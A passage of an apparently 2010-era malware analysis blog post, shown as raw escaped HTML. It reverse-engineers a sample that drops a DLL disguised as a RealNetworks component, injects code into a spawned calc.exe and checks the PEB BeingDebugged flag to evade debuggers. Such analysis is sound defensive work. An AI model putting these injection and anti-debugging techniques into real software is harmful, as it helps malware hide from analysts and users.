src=\"\/wp-content\/uploads\/2010\/12\/image_thumb44.png\" width=\"633\" height=\"174\" \/><\/a><\/p>\n<p>(Don't pay attention to the filename itself, the filename might be different if you are doing this on your own system. We'll just refer to this file as the .tmp file).<\/p>\n<p>Quick analysis of the tmp file header shows this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Length Of Struc: 0294h\nLength Of Value: 0034h\nType Of Struc: 0000h\nInfo: VS_VERSION_INFO\nSignature: FEEF04BDh\nStruc Version: 1.0\nFile Version: 6.0.7.4085\nProduct Version: 6.0.7.4085\nFile Flags Mask: 0.0\nFile Flags: \nFile OS: WINDOWS32\nFile Type: DLL\nFile SubType: UNKNOWN\nFile Date: 00:00:00 00\/00\/0000\n\nStruc has Child(ren). Size: 568 bytes.\nChild Type: StringFileInfo\nLanguage\/Code Page: 1033\/1200\nCompanyName: RealNetworks, Inc.\nFileDescription: RealVideo\nFileVersion: 6.0.7.4085\nLegalCopyright: Copyright \u00a9 RealNetworks, Inc. 1995-2002\nProductName: RealVideo (32-bit) \nProductVersion: 6.0.7.4085\n\nChild Type: VarFileInfo\nTranslation: 1033\/1200<\/pre>\n<p>File Type : DLL \u2026 Interesting !<\/p>\n<p>CompanyName : RealNetworks, Inc\u2026.&#160;&#160; Yeah right.<\/p>\n<p>At 0x00401FB4, a LoadLibrary call is executed, taking the full path to the newly created tmp file as argument\u2026&#160; This reinforces&#160; that the .tmp file is really a binary (a dll) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image47.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb47.png\" width=\"623\" height=\"236\" \/><\/a><\/p>\n<p>The LoadLibraryA call loads the dll at baseaddress 0x10000000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image48.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb48.png\" width=\"627\" height=\"189\" \/><\/a><\/p>\n<p>When the .tmp file was loaded, imm32.dll gets loaded as well (other dll's such as secur32.dll, gdi32.dll, were already loaded earlier), so this is yet another indication that the .tmp file is a binary\/dll and contains some imports from OS dll's.<\/p>\n<blockquote>\n<p>LoadLibrary has the ability to load both dll's and exe files (which have the same PE structure btw).<\/p>\n<\/blockquote>\n<p>Interestingly, the tmp\/dll file gets loaded without Immunity Debugger reporting that it got loaded. No trace of it in &quot;Executable Modules&quot; and no trace of it in the &quot;log&quot; window either :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image1.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb1.png\" width=\"640\" height=\"346\" \/><\/a><\/p>\n<p>The memory map, on the other hand, does indicate that something was loaded at 0x10000000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image2.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb2.png\" width=\"612\" height=\"121\" \/><\/a><\/p>\n<p>Next, a pointer to the string &quot;rmoc3260.tlb&quot; is put in eax. Next, a pointer to the string &quot;atrc32.dll&quot; is retrieved from the string array and put in eax.<\/p>\n<p>Then, ProcAddress of ProcNameOrdinal nr5 is retrieved :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image25.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb25.png\" width=\"624\" height=\"291\" \/><\/a><\/p>\n<p>A pointer to &quot;%ProgramFiles%\\Real\\&quot; is put in eax, then moved to edi.&#160; Then, a pointer to &quot;%Systemroot%\\system32\\&quot; is retrieved and moved into ebx.&#160; A pointer to &quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad&quot; is put in eax.<\/p>\n<p>Then, a memcpy from 00401000 to 0012E884 occurs (0x400 bytes) and a pointer to the string &quot;calc&quot; is retrieved.<\/p>\n<p>The l.exe binary creates a new process : <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image45.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb45.png\" width=\"626\" height=\"177\" \/><\/a><\/p>\n<p>and it says it's calc.exe \ud83d\ude42<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image28.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb28.png\" width=\"438\" height=\"284\" \/><\/a><\/p>\n<p>Wow - where did that come from ?&#160; We'll look at it in a bit.<\/p>\n<p>Then, VirtualAlloc() is executed, memory is reset (REP STOS), and a call to WriteProcessMemory() is executed, writing 0x1000 bytes to hProcess 0x48 (window), to address 0xA0000, from 0012E884.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image46.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb46.png\" width=\"646\" height=\"370\" \/><\/a><\/p>\n<p>Next, the code performs GetThreadContext on thread 4C (window), with pContext pointer set to 0012F884. Finally, ResumeThread() is sent to thread 4C, and the l.exe process is terminated.<\/p>\n<p>Terminated? That was fast. Maybe a little too fast.<\/p>\n<p>Okay, before looking any further, we'll have to analyse the .tmp file (which really is an executable binary\/dll). We already suspect that the file, which is generated at runtime, will be the one responsible for further infection \/ other activity.&#160; We also need to look at the calc process, but maybe the tmp file and the calc process are connected\/related to each other.&#160; And there's also the WPM call, which writes data to 0xA000\u2026 Maybe that's an injection into the calc process\u2026. We'll see.<\/p>\n<p>All of the above happened in no more than a few seconds.<\/p>\n<p>&#160;<\/p>\n<h3>December 2nd, 2010 21:43:59 GMT+1 - stage 3 : the .tmp file<\/h3>\n<p>In order to analyze what exactly happens when l.exe runs, produces a tmp file and executes code in the &quot;tmp&quot; file, we'll also use a couple of other tools (other than a debugger) to document what happens.<\/p>\n<p>First of all, let's dump the imports used by the dll :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">10009000  RegQueryValueA               ADVAPI32\n10009004  RegCreateKeyExA              ADVAPI32\n10009008  InitializeSecurityDescriptor ADVAPI32\n1000900C  SetSecurityDescriptorDacl    ADVAPI32\n10009010  RegDeleteValueA              ADVAPI32\n10009014  RegOpenKeyA                  ADVAPI32\n10009018  RegSetValueExA               ADVAPI32\n1000901C  RegOpenKeyExA                ADVAPI32\n10009020  RegQueryValueExA             ADVAPI32\n10009024  RegCloseKey                  ADVAPI32\n10009028  RegEnumValueA                ADVAPI32\n10009030  LCMapStringW                 KERNEL32\n10009034  GetCurrentProcess            KERNEL32\n10009038  LCMapStringA                 KERNEL32\n1000903C  GetSystemInfo                KERNEL32\n10009040  GetLocaleInfoA               KERNEL32\n10009044  GetCPInfo                    KERNEL32\n10009048  GetStringTypeA               KERNEL32\n1000904C  GetStringTypeW               KERNEL32\n10009050  QueryPerformanceCounter      KERNEL32\n10009054  GetTickCount                 KERNEL32\n10009058  GetCurrentThreadId           KERNEL32\n1000905C  GetSystemTimeAsFileTime      KERNEL32\n10009060  GetACP                       KERNEL32\n10009064  GetOEMCP                     KERNEL32\n10009068  WideCharToMultiByte          KERNEL32\n1000906C  CreateMutexA                 KERNEL32\n10009070  ResetEvent                   KERNEL32\n10009074  VirtualFree                  KERNEL32\n10009078  CreateProcessA               KERNEL32\n1000907C  GetStartupInfoA              KERNEL32\n10009080  LeaveCriticalSection         KERNEL32\n10009084  EnterCriticalSection         KERNEL32\n10009088  Sleep                        KERNEL32\n1000908C  WaitForSingleObject          KERNEL32\n10009090  TerminateProcess             KERNEL32\n10009094  WriteProcessMemory           KERNEL32\n10009098  VirtualAllocEx               KERNEL32\n1000909C  GetThreadContext             KERNEL32\n100090A0  lstrcpynA                    KERNEL32\n100090A4  CloseHandle                  KERNEL32\n100090A8  ResumeThread                 KERNEL32\n100090AC  FindClose                    KERNEL32\n100090B0  FindNextFileA                KERNEL32\n100090B4  FindFirstFileA               KERNEL32\n100090B8  GetModuleFileNameA           KERNEL32\n100090BC  SetEvent                     KERNEL32\n100090C0  lstrcatA                     KERNEL32\n100090C4  lstrlenA                     KERNEL32\n100090C8  lstrcpyA                     KERNEL32\n100090CC  VirtualAlloc                 KERNEL32\n100090D0  FreeLibrary                  KERNEL32\n100090D4  GetCurrentProcessId          KERNEL32\n100090D8  GetProcAddress               KERNEL32\n100090DC  ExitThread                   KERNEL32\n100090E0  CreateThread                 KERNEL32\n100090E4  InitializeCriticalSection    KERNEL32\n100090E8  CreateEventA                 KERNEL32\n100090EC  CreateDirectoryA             KERNEL32\n100090F0  GetFileAttributesA           KERNEL32\n100090F4  LocalFree                    KERNEL32\n100090F8  GetModuleHandleA             KERNEL32\n100090FC  SetUnhandledExceptionFilter  KERNEL32\n10009100  LocalAlloc                   KERNEL32\n10009104  GetLastError                 KERNEL32\n10009108  MoveFileExA                  KERNEL32\n1000910C  LoadLibraryA                 KERNEL32\n10009110  CopyFileA                    KERNEL32\n10009114  ExpandEnvironmentStringsA    KERNEL32\n10009118  GetVolumeInformationA        KERNEL32\n1000911C  FreeLibraryAndExitThread     KERNEL32\n10009120  DisableThreadLibraryCalls    KERNEL32\n10009124  WriteFile                    KERNEL32\n10009128  CreateFileA                  KERNEL32\n1000912C  DeleteFileA                  KERNEL32\n10009130  lstrcmpiA                    KERNEL32\n10009134  GetLocalTime                 KERNEL32\n10009138  GetSystemDefaultLCID         KERNEL32\n1000913C  IsBadReadPtr                 KERNEL32\n10009140  ExitProcess                  KERNEL32\n10009144  lstrcmpA                     KERNEL32\n10009148  VirtualProtect               KERNEL32\n1000914C  VirtualQuery                 KERNEL32\n10009150  LoadLibraryExW               KERNEL32\n10009154  GetSystemDirectoryA          KERNEL32\n10009158  SetFileAttributesA           KERNEL32\n1000915C  GetTempFileNameA             KERNEL32\n10009160  ReadFile                     KERNEL32\n10009164  GetFileSize                  KERNEL32\n10009168  SetFilePointer               KERNEL32\n1000916C  Process32Next                KERNEL32\n10009170  Process32First               KERNEL32\n10009174  CreateToolhelp32Snapshot     KERNEL32\n10009178  Thread32Next                 KERNEL32\n1000917C  OpenThread                   KERNEL32\n10009180  Thread32First                KERNEL32\n10009184  GetTempPathA                 KERNEL32\n10009188  SetFileTime                  KERNEL32\n1000918C  GetFileTime                  KERNEL32\n10009190  OpenProcess                  KERNEL32\n10009194  MultiByteToWideChar          KERNEL32\n10009198  MapViewOfFile                KERNEL32\n1000919C  CreateFileMappingA           KERNEL32\n100091A0  IsBadWritePtr                KERNEL32\n100091A4  FreeResource                 KERNEL32\n100091A8  LockResource                 KERNEL32\n100091AC  LoadResource                 KERNEL32\n100091B0  SizeofResource               KERNEL32\n100091B4  FindResourceA                KERNEL32\n100091B8  HeapAlloc                    KERNEL32\n100091BC  GetProcessHeap               KERNEL32\n100091C0  HeapFree                     KERNEL32\n100091C4  RtlUnwind                    KERNEL32\n100091C8  InterlockedExchange          KERNEL32\n100091D0  wvsprintfA                   USER32  \n100091D4  GetWindowThreadProcessId     USER32  \n100091D8  IsWindow                     USER32  \n100091DC  SendMessageA                 USER32  \n100091E0  RegisterClassExA             USER32  \n100091E4  CreateWindowExA              USER32  \n100091E8  MoveWindow                   USER32  \n100091EC  ShowWindow                   USER32  \n100091F0  GetMessageA                  USER32  \n100091F4  TranslateMessage             USER32  \n100091F8  DispatchMessageA             USER32  \n100091FC  PostQuitMessage              USER32  \n10009200  DefWindowProcA               USER32  \n10009204  KillTimer                    USER32  \n10009208  SetTimer                     USER32  <\/pre>\n<p>Wow - impressive list \u2026&#160; and the imported function names indicate a couple of things :<\/p>\n<ul>\n<li>file interaction <\/li>\n<li>process interaction <\/li>\n<li>registry interaction <\/li>\n<li>\u2026 <\/li>\n<\/ul>\n<p>The list with exported functions is a lot smaller :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">DllCanUnloadNow     10002154 1\nDllGetClassObject   10002126 2\nDllRegisterServer   10001EDF 3\nDllUnregisterServer 10001EDF 4\nRMOC3260_5          10001EE2 5\nRMOC3260_6          1000215A 6\nRMOC3260_7          10004EF2 7\nDllEntryPoint       10005A69  <\/pre>\n<p>So we can expect to see a limited number of functions in the dll, implementing the required logic to do more harm (maybe it will permanently infect the machine, propagate, etc etc).&#160;&#160; All we know so far is that the dll gets loaded by l.exe, but it has been unclear what exactly it does or has done so far.&#160; <\/p>\n<p>Maybe the combination of l.exe and the tmp file will produce new functions. Reproducing new code at runtime is not that uncommon in malware.&#160; In fact, this is a frequently used technique in malicious code when trying to hide routines from getting detected by AV. <\/p>\n<p>What is really strange is that the debugger didn't report that the tmp file got loaded as a library.&#160; (At least, not at first sight). <\/p>\n<p>Procmon reports a lot of activity generated by l.exe, so it looks like something was injected and executed, trying to hide from debuggers and\/or procmon.&#160; <\/p>\n<p>There must be something else going on\u2026<\/p>\n<p>Running l.exe outside the debugger shows a lot of interaction :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image49.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb49.png\" width=\"614\" height=\"445\" \/><\/a><\/p>\n<p>\u2026 that's a lot more than what we saw in the debugger analysis of l.exe.<\/p>\n<p>(You can get a copy of the procmon output here : <a title=\"http:\/\/redmine.corelan.be:8800\/attachments\/download\/179\/l.exe.Logfile.PML\" href=\"http:\/\/web.archive.org\/web\/20111211033256\/http:\/\/redmine.corelan.be:8800\/attachments\/download\/179\/l.exe.Logfile.PML\">http:\/\/redmine.corelan.be:8800\/attachments\/download\/179\/l.exe.Logfile.PML<\/a>)<\/p>\n<p>To be sure, we also tried to use <a href=\"http:\/\/blogs.technet.com\/b\/askperf\/archive\/2010\/01\/12\/an-introduction-to-the-windows-system-state-analyzer.aspx\">Windows System State Analyzer<\/a> to document changes to the OS. I created a snapshot before and after the infection occurred, but the utility died when trying to compare the results.&#160; Fail.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image91.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb90.png\" width=\"400\" height=\"77\" \/><\/a><\/p>\n<p>We can expect\/assume that l.exe is calling code in the tmp\/dll file or using bytes (as data) to recreate new code.&#160; If it reproduces new code and injects it into another process, it would explain why procmon reports a lot more activity than what we documented by looking at l.exe itself.&#160; But we should be able to at least retrieve &quot;something&quot; about it in the debugger. At this point, all we saw is that the tmp file was loaded, and shortly after, the process died.<\/p>\n<p>Let's try to reveal how the code in the dll (tmp) gets called &amp; what it does, and why the behavior of l.exe is different when ran inside a debugger vs outside a debugger.&#160; It certainly smells like one or more anti-debugging tricks were used.<\/p>\n<p>Let's take a few steps back &amp; look at the LoadLibrary call again (which loads the tmp file). This call is located at 0x00401FB4.&#160; We'll walk through the instructions again, this time paying close attention to anti-debugger routines as well.<\/p>\n<p>A few instructions below the loadlibrary call, we see a call to DWORD [EBP-14] and a call to [DWORD EBP-44]<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image51.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb51.png\" width=\"654\" height=\"332\" \/><\/a><\/p>\n<p>At [EBP-14], we see this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image53.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb52.png\" width=\"658\" height=\"150\" \/><\/a><\/p>\n<p>Ah - that's code inside the dll..&#160; IDA recognizes this as function RMOC3260_5<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image54.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb53.png\" width=\"639\" height=\"225\" \/><\/a><\/p>\n<p>This function writes pointers inside the loaded module onto the stack (pointed to by EAX+ offset) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image55.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb54.png\" width=\"636\" height=\"315\" \/><\/a><\/p>\n<p>or - as seen on the stack :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image56.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb55.png\" width=\"318\" height=\"129\" \/><\/a><\/p>\n<p>Next, when the routine has returned, a call to [EBP-44] is made. EBP-44 points to 10003CB1, and that is yet another function in the dll :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image57.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb56.png\" width=\"491\" height=\"283\" \/><\/a><\/p>\n<p>First, ecx and eax are pushed onto the stack. Then, the linear adress of the PEB (<a href=\"http:\/\/en.wikipedia.org\/wiki\/Win32_Thread_Information_Block\">fs:30h<\/a>) is put into eax (7FFDC000 in our case), and then written to ESP+4.&#160; Then the top value is popped from the stack again, into eax (basically restoring what was in eax before the PEB pointer was retrieved). Next, the linear address of the PEB is put in EAX.&#160; EAX is then set to 1, and the linear address of PEB (which still sits at the top of the stack at this point), is popped into ECX.<\/p>\n<p>When that function returns, we see<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00402017  |. 85C0           TEST EAX,EAX\n00402019  |. 0F85 69010000  JNZ l.00402188<\/pre>\n<p>EAX is set to 1, so the jump will be made (to 00402188) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image58.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb57.png\" width=\"652\" height=\"158\" \/><\/a><\/p>\n<p>Hmmm - it looks like it frees the library and deletes the tmp file.&#160; <\/p>\n<p>The PUSH DWORD [EBP-4] puts a pointer to the startaddress of the loaded dll on the stack (0x10000000).&#160; FreeLibrary() takes this as argument.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image59.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb58.png\" width=\"659\" height=\"80\" \/><\/a><\/p>\n<p>This effectively unloads the dll from memory (so 0x10000000 points to nowhere after the call is made).<\/p>\n<p>The call to kernel32.DeleteFileA removes the tmp file (PUSH EAX pushes a pointer to the full filename\/path of the tmp to the stack and DeleteFileA takes that as argument)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image60.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb59.png\" width=\"659\" height=\"63\" \/><\/a><\/p>\n<p>The code continues, and calls function 0x00401D76.&#160; In that function, we first see a call to 004021E0, then does a memset and memcpy, and ends up calling CreateProcessA (0x00401E05), taking 0012FB50 as pStartupInfo and 0x0012FB98 as pProcessInfo :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image61.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb60.png\" width=\"661\" height=\"189\" \/><\/a><\/p>\n<p>We have seen this (calc) before in the analysis of stage 2, but it has become clear that we missed a piece.&#160; Loading a dll, calling a simple function, and removing it again \u2026 Something doesn't seem right\u2026<\/p>\n<p>Let's go back to the function at 10003CB1.&#160; Based on the outcome (EAX being 0 or 1), the code decides to unload the dll \/ clear memory or not.&#160; The outcome of the routine is different depending on whether there is a debugger attached or not\u2026 <\/p>\n<p>Think about it. Look back at the routine.&#160; At a certain point, it reads a value from [EAX+2].&#160; At that point, EAX points to the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Process_Environment_Block\">PEB<\/a>. So this code reads the &quot;BeingDebugged&quot; flag from the PEB and stores the result in EAX.&#160; <\/p>\n<p>Basic schoolbook anti-debugging trick. <\/p>\n<p>So let's step back &amp; change the logic.&#160; Let's run the code again (breakpoint set at&#160; 0x00402014 - where the call to EBP-44 is made). Just before the function returns, change EAX to 0 : <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image62.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb61.png\" width=\"669\" height=\"130\" \/><\/a><\/p>\n<p>Because of the change, the jump to unload the dll &amp; clean up memory is not taken, and the malware continues to execute a different set of code :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image63.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb62.png\" width=\"668\" height=\"186\" \/><\/a><\/p>\n<p>Of course, I can also use a PyCommand for Immunity Debugger : !hidedebug All_Debug, which will patch a couple of known techniques to detect if a debugger is present or not:<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image591.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image59_thumb.png\" width=\"404\" height=\"152\" \/><\/a><\/p>\n<p>After patching PEB, the code continues and a function at 0x00401D4B is called (at 0x0040202A).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image65.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb64.png\" width=\"529\" height=\"136\" \/><\/a><\/p>\n<p>In that function, we see this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00401D4B  \/$ E8 ACFFFFFF    CALL l.00401CFC\n00401D50  |. 85C0           TEST EAX,EAX\n00401D52  |. 74 04          JE SHORT l.00401D58\n00401D54  |&gt; 33C0           XOR EAX,EAX\n00401D56  |. 40             INC EAX\n00401D57  |. C3             RETN\n00401D58  |&gt; E8 B6FFFFFF    CALL l.00401D13\n00401D5D  |. 85C0           TEST EAX,EAX\n00401D5F  |.^75 F3          JNZ SHORT l.00401D54\n00401D61  |. E8 3DFFFFFF    CALL l.00401CA3\n00401D66  |. 85C0           TEST EAX,EAX\n00401D68  |.^75 EA          JNZ SHORT l.00401D54\n00401D6A  |. E8 C4FEFFFF    CALL l.00401C33\n00401D6F  |. F7D8           NEG EAX\n00401D71  |. 1BC0           SBB EAX,EAX\n00401D73  |. F7D8           NEG EAX\n00401D75  \\. C3             RETN<\/pre>\n<p>We end up calling 0x00401D13 and 00401CA3. Inside the function at 0x00401CA3, a call is made to 004023A8, where a SEH record is created and some pointers to strings and an API is put onto the stack :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image66.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb65.png\" width=\"648\" height=\"233\" \/><\/a><\/p>\n<p>Then, after this function returns, we see this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image67.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb66.png\" width=\"655\" height=\"120\" \/><\/a><\/p>\n<p>The I\/O command at 00401CCB generates an exception, and the SEH record which was created a few instructions above gets called<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image68.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 